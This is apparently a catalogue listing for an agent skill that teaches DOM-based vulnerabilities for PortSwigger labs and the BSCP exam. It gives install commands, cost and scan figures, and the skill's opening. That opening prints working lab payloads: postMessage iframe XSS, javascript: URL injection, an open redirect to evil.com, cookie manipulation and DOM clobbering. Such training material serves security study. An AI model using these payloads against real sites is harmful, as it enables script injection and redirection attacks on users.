DOM-based Vulnerabilities — Complete Deep Dive

DOM-based Vulnerabilities — Complete Deep Dive is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 28 tokens per session (1,256 once invoked), scanned A, original, MIT.

A detailed training and testing playbook for DOM-based vulnerabilities, with examples covering reconnaissance, exploitation, filter bypasses, and vulnerability chaining. It is aimed at PortSwigger lab work and authorised security assessments.

In plain words
What is it for?
Preparing for the BSCP certification, completing PortSwigger labs, and studying DOM-based attack techniques in authorised bug-bounty or penetration-testing work.
Why use it?
It gives learners a structured way to practise browser-side vulnerabilities and understand how several weaknesses can be combined. The material assumes a configured browser proxy and security-testing tools.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Preparing for the BSCP certification, completing PortSwigger labs, and studying DOM-based attack techniques in authorised bug-bounty or penetration-testing work.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/dom-vulns

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for DOM-based Vulnerabilities — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/dom-vulns/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/dom-vulns)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/dom-vulns"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/dom-vulns/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for DOM-based Vulnerabilities — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/dom-vulns"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/dom-vulns.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,256 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.01256
Opus 5 $0.00014 $0.00628
Sonnet 5 $0.00006 $0.00251
Haiku 4.5 $0.00003 $0.00126

Measured 7d ago against content hash 9436971e8d52, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

DOM-based Vulnerabilities — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python]
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/dom-vulns/SKILL.md · 138 lines

How it starts

The opening of the file, as written. The whole thing — 138 lines — stays where its author put it; the contents beside it link to each section on GitHub.

DOM-based Vulnerabilities — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: DOM XSS web messages 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Target listens to message event and writes to innerHTML without origin check.

Lab 2: Web messages + JS URL 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

Message handler checks indexOf('http:') — append it after // comment.

Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER

<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

Lab 4: DOM open redirection 🟡 PRACTITIONER

https://TARGET/post?postId=1&url=https://evil.com

Lab 5: DOM cookie manipulation 🟡 PRACTITIONER

<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">

Lab 6: DOM clobbering XSS 🟡 PRACTITIONER

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">

Clobbers defaultAvatar.avatar property used in src attribute.

Read the full file on GitHub · 138 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 138 lines · 28 tokens per session scan A 9436971e8d52

Subscribe to this mod's changes

DOM-based Vulnerabilities — Complete Deep Dive is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 28 tokens to every session and 1,256 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.